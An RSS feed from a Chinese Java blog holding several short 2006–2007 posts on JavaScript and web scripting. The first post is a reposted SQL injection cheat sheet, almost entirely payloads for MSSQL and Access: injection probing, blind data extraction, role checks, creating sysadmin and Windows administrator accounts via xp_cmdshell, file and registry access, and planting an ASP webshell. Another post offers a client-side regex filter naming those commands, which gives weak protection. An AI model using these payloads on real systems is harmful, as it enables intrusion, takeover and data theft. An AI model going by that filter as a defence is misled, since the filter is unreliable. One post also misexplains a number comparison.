﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-爱女孩的小火柴-文章分类-脚本</title><link>http://www.blogjava.net/mayu/category/15868.html</link><description>生活的理想就是为了理想的生活:)</description><language>zh-cn</language><lastBuildDate>Wed, 13 Jun 2007 08:18:38 GMT</lastBuildDate><pubDate>Wed, 13 Jun 2007 08:18:38 GMT</pubDate><ttl>60</ttl><item><title>脚本注射基础ZT</title><link>http://www.blogjava.net/mayu/articles/123885.html</link><dc:creator>my</dc:creator><author>my</author><pubDate>Wed, 13 Jun 2007 08:10:00 GMT</pubDate><guid>http://www.blogjava.net/mayu/articles/123885.html</guid><wfw:comment>http://www.blogjava.net/mayu/comments/123885.html</wfw:comment><comments>http://www.blogjava.net/mayu/articles/123885.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/mayu/comments/commentRss/123885.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/mayu/services/trackbacks/123885.html</trackback:ping><description><![CDATA[<span style="FONT-SIZE: 14px; LINE-HEIGHT: 18px">&nbsp;
<table cellSpacing=0 cellPadding=10 align=left border=0>
    <tbody>
        <tr>
            <td><script language=javascript src="http://www.77169.com/AD/200604/17.js"></script></td>
        </tr>
    </tbody>
</table>
1.判断是否有注入;and 1=1 ;and 1=2 <br><br>2.初步判断是否是mssql ;and user&gt;0 <br><br>3.注入参数是字符'and [查询条件] and ''=' <br><br>4.搜索时没过滤参数的'and [查询条件] and '%25'=' <br><br>5.判断数据库系统 <br>;and (select count(*) from sysobjects)&gt;0 mssql <br>;and (select count(*) from msysobjects)&gt;0 access <br><br>6.猜数据库 ;and (select Count(*) from [数据库名])&gt;0 <br><br>7.猜字段 ;and (select Count(字段名) from 数据库名)&gt;0 1.判断是否有注入;and 1=1 ;and 1=2 <br><br>2.初步判断是否是mssql ;and user&gt;0 <br><br>3.注入参数是字符'and [查询条件] and ''=' <br><br>4.搜索时没过滤参数的'and [查询条件] and '%25'=' <br><br>5.判断数据库系统 <br>;and (select count(*) from sysobjects)&gt;0 mssql <br>;and (select count(*) from msysobjects)&gt;0 access <br><br>6.猜数据库 ;and (select Count(*) from [数据库名])&gt;0 <br><br>7.猜字段 ;and (select Count(字段名) from 数据库名)&gt;0 <br><br>8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)&gt;0 <br><br>9.(1)猜字段的ascii值（access） <br>;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)&gt;0 <br><br>(2)猜字段的ascii值（mssql） <br>;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)&gt;0 <br><br>10.测试权限结构（mssql） <br>;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- <br>;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- <br>;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- <br>;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- <br>;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- <br>;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- <br>;and 1=(select IS_MEMBER('db_owner'));-- <br><br>11.添加mssql和系统的帐户 <br>;exec master.dbo.sp_addlogin username;-- <br><br>;exec master.dbo.sp_password null,username,password;-- <br><br>;exec master.dbo.sp_addsrvrolemember sysadmin username;-- <br><br>;exec master.dbo.xp_cmdshell 'net user username password <br>/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- <br><br>;exec master.dbo.xp_cmdshell 'net user username password /add';-- <br><br>;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- <br><br>12.(1)遍历目录 <br><br>;create table dirs(paths varchar(100), id int) <br>;insert dirs exec master.dbo.xp_dirtree 'c:\' <br>;and (select top 1 paths from dirs)&gt;0 <br>;and (select top 1 paths from dirs where paths not in('上步得到的paths'))&gt;) <br><br>(2)遍历目录 <br>;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- <br>;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 <br>;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 <br>;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 <br>;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 <br><br>13.mssql中的存储过程 <br><br>xp_regenumvalues 注册表根键, 子键 <br>;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 <br><br>xp_regread 根键,子键,键值名 <br>;exec xp_regread <br>'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 <br><br>xp_regwrite 根键,子键, 值名, 值类型, 值 <br>值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 <br>;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 <br><br>xp_regdeletevalue 根键,子键,值名 <br><br>exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 <br><br>xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 <br><br>14.mssql的backup创建webshell <br>use model <br>create table cmd(str image); <br>insert into cmd(str) values (''); <br>backup database model to disk='c:\l.asp'; <br><br>15.mssql内置函数 <br>;and (select @@version)&gt;0 获得Windows的版本号 <br>;and user_name()='dbo' 判断当前系统的连接用户是不是sa <br>;and (select user_name())&gt;0 爆当前系统的连接用户 <br>;and (select db_name())&gt;0 得到当前连接的数据库 <br><br></span>
<img src ="http://www.blogjava.net/mayu/aggbug/123885.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/mayu/" target="_blank">my</a> 2007-06-13 16:10 <a href="http://www.blogjava.net/mayu/articles/123885.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>js版的防范SQL注入式攻击代码：</title><link>http://www.blogjava.net/mayu/articles/121213.html</link><dc:creator>my</dc:creator><author>my</author><pubDate>Thu, 31 May 2007 09:51:00 GMT</pubDate><guid>http://www.blogjava.net/mayu/articles/121213.html</guid><wfw:comment>http://www.blogjava.net/mayu/comments/121213.html</wfw:comment><comments>http://www.blogjava.net/mayu/articles/121213.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/mayu/comments/commentRss/121213.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/mayu/services/trackbacks/121213.html</trackback:ping><description><![CDATA[js版的防范SQL注入式攻击代码：
<div class=quote>　　 <br>&lt;script language="javascript"&gt;<br>&lt;!--<br>&nbsp;var url = location.search;<br>&nbsp;var re=/^\?(.*)(select%20|insert%20|delete%20from%20|count\(|drop%20table|update%20truncate%20|asc\(|mid\(|char\(|xp_cmdshell|exec%20master|net%20localgroup%20administrators|\"|:|net%20user|\|%20or%20)(.*)$/gi;<br>&nbsp;var e = re.test(url);<br>&nbsp;if(e) {<br>&nbsp;&nbsp;alert("地址中含有非法字符～");<br>&nbsp;&nbsp;location.href="error.asp";<br>&nbsp;}<br>//--&gt;<br>&lt;script&gt; <br></div>
<img src ="http://www.blogjava.net/mayu/aggbug/121213.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/mayu/" target="_blank">my</a> 2007-05-31 17:51 <a href="http://www.blogjava.net/mayu/articles/121213.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>js判断数字，字母，中文</title><link>http://www.blogjava.net/mayu/articles/109683.html</link><dc:creator>my</dc:creator><author>my</author><pubDate>Tue, 10 Apr 2007 09:14:00 GMT</pubDate><guid>http://www.blogjava.net/mayu/articles/109683.html</guid><wfw:comment>http://www.blogjava.net/mayu/comments/109683.html</wfw:comment><comments>http://www.blogjava.net/mayu/articles/109683.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/mayu/comments/commentRss/109683.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/mayu/services/trackbacks/109683.html</trackback:ping><description><![CDATA[利用正则表达式限制网页表单里的文本框输入内容：<br><br>用正则表达式限制只能输入中文：onkeyup="value=value.replace(/[^\u4E00-\u9FA5]/g,'')" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\u4E00-\u9FA5]/g,''))"<br><br>用正则表达式限制只能输入全角字符： onkeyup="value=value.replace(/[^\uFF00-\uFFFF]/g,'')" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\uFF00-\uFFFF]/g,''))"<br><br>用正则表达式限制只能输入数字：onkeyup="value=value.replace(/[^\d]/g,'') "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))"<br><br>用正则表达式限制只能输入数字和英文：onkeyup="value=value.replace(/[\W]/g,'') "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))"<br><br>收藏一下<br>好东西
<img src ="http://www.blogjava.net/mayu/aggbug/109683.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/mayu/" target="_blank">my</a> 2007-04-10 17:14 <a href="http://www.blogjava.net/mayu/articles/109683.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在JS里数值的比较</title><link>http://www.blogjava.net/mayu/articles/75713.html</link><dc:creator>my</dc:creator><author>my</author><pubDate>Tue, 17 Oct 2006 10:13:00 GMT</pubDate><guid>http://www.blogjava.net/mayu/articles/75713.html</guid><wfw:comment>http://www.blogjava.net/mayu/comments/75713.html</wfw:comment><comments>http://www.blogjava.net/mayu/articles/75713.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/mayu/comments/commentRss/75713.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/mayu/services/trackbacks/75713.html</trackback:ping><description><![CDATA[  var startlevel=document.form0.textarea0.value;<br />  var endlevel=document.form0.textarea1.value;<br />  if(startlevel&gt;=endlevel){<br />     alert("结束级别必须大于开始级别！"); <br />     return false;<br />   }<br />比如  startlevel=2，endlevel=15；它会觉得startlevel&gt;endlevel<br />可能是JS里没有数据类型的原因，所以它比的是2和15中的1先，就认为2比15大了。。<br />如果endlevel大于20就对了，<br />解决办法就是如果是各位就在前面加0，比如2改为02<img src ="http://www.blogjava.net/mayu/aggbug/75713.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/mayu/" target="_blank">my</a> 2006-10-17 18:13 <a href="http://www.blogjava.net/mayu/articles/75713.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> 纯css菜单生成器</title><link>http://www.blogjava.net/mayu/articles/73881.html</link><dc:creator>my</dc:creator><author>my</author><pubDate>Sun, 08 Oct 2006 09:51:00 GMT</pubDate><guid>http://www.blogjava.net/mayu/articles/73881.html</guid><wfw:comment>http://www.blogjava.net/mayu/comments/73881.html</wfw:comment><comments>http://www.blogjava.net/mayu/articles/73881.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/mayu/comments/commentRss/73881.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/mayu/services/trackbacks/73881.html</trackback:ping><description><![CDATA[官网：<a href="http://www.opencube.com/" target="_blank">http://www.opencube.com/</a><br /><br />官网提供下载的压缩包里有几个非常不错的模版以及安装文件，安装软件之后立即运行，会出现一个loading软件界面的提示（java做的？？？），然后你就会看到一个激动人心的软件呈现在你的面前，比DW好太多了......<br />你可以在这里自定义菜单，然后保存到一个html文件里，菜单不仅漂亮，更重要的是纯css的“绿色代码”哦。<br /><br /><img src ="http://www.blogjava.net/mayu/aggbug/73881.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/mayu/" target="_blank">my</a> 2006-10-08 17:51 <a href="http://www.blogjava.net/mayu/articles/73881.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>禁止F5等快捷键的JS代码</title><link>http://www.blogjava.net/mayu/articles/73045.html</link><dc:creator>my</dc:creator><author>my</author><pubDate>Sat, 30 Sep 2006 07:18:00 GMT</pubDate><guid>http://www.blogjava.net/mayu/articles/73045.html</guid><wfw:comment>http://www.blogjava.net/mayu/comments/73045.html</wfw:comment><comments>http://www.blogjava.net/mayu/articles/73045.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/mayu/comments/commentRss/73045.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/mayu/services/trackbacks/73045.html</trackback:ping><description><![CDATA[
		<p>禁止ctrl+n和 禁止ctrl+r和 禁止shift+f10 禁止鼠标右键or左右键 和禁止f5 的JS代码<br /><br />&lt;script&gt;<br />//禁止ctrl+n和 禁止ctrl+r和 禁止shift+f10 禁止鼠标右键or左右键 和禁止f5<br />var oLastBtn=0,bIsMenu=false <br />if (window.Event)<br />{<br />document.captureEvents(Event.MOUSEUP); <br />}<br /><br />function nocontextmenu()<br />{ <br />event.cancelBubble=true;<br />event.returnValue=false; <br />return false; <br />}<br /><br />function norightclick(e) <br /><br />{ <br />if(window.Event) <br />{ <br />if (e.which !=1)<br />{<br />return false; <br />}<br />} <br />else <br />if(event.button!=1) <br />{ <br />event.cancelBubble=true;<br />event.returnValue=false; <br />return false; <br />} <br />}<br /><br />document.oncontextmenu=nocontextmenu; <br />document.onmousedown=norightclick; <br /><br />function onKeyDown()<br />{<br />if ((event.altKey)||((event.keyCode==8)&amp;&amp;(event.srcElement.type!="text"&amp;&amp;event.srcElement.type!="textarea"&amp;&amp;event.srcElement.type!="password"))||((event.ctrlKey)&amp;&amp;((event.keyCode==78)||(event.keyCode==82)))||(event.keyCode==116))<br />{<br />event.keyCode=0;<br />event.returnValue=false;<br />}<br />}<br />&lt;/script&gt;<br />&lt;body onkeydown="onKeyDown()"&gt;<br /></p>
<img src ="http://www.blogjava.net/mayu/aggbug/73045.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/mayu/" target="_blank">my</a> 2006-09-30 15:18 <a href="http://www.blogjava.net/mayu/articles/73045.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JS验证E-mail</title><link>http://www.blogjava.net/mayu/articles/69619.html</link><dc:creator>my</dc:creator><author>my</author><pubDate>Thu, 14 Sep 2006 05:40:00 GMT</pubDate><guid>http://www.blogjava.net/mayu/articles/69619.html</guid><wfw:comment>http://www.blogjava.net/mayu/comments/69619.html</wfw:comment><comments>http://www.blogjava.net/mayu/articles/69619.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/mayu/comments/commentRss/69619.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/mayu/services/trackbacks/69619.html</trackback:ping><description><![CDATA[function isEmail(strEmail) { if (strEmail.search(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/) != -1) return true; else alert("oh"); } <img src ="http://www.blogjava.net/mayu/aggbug/69619.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/mayu/" target="_blank">my</a> 2006-09-14 13:40 <a href="http://www.blogjava.net/mayu/articles/69619.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>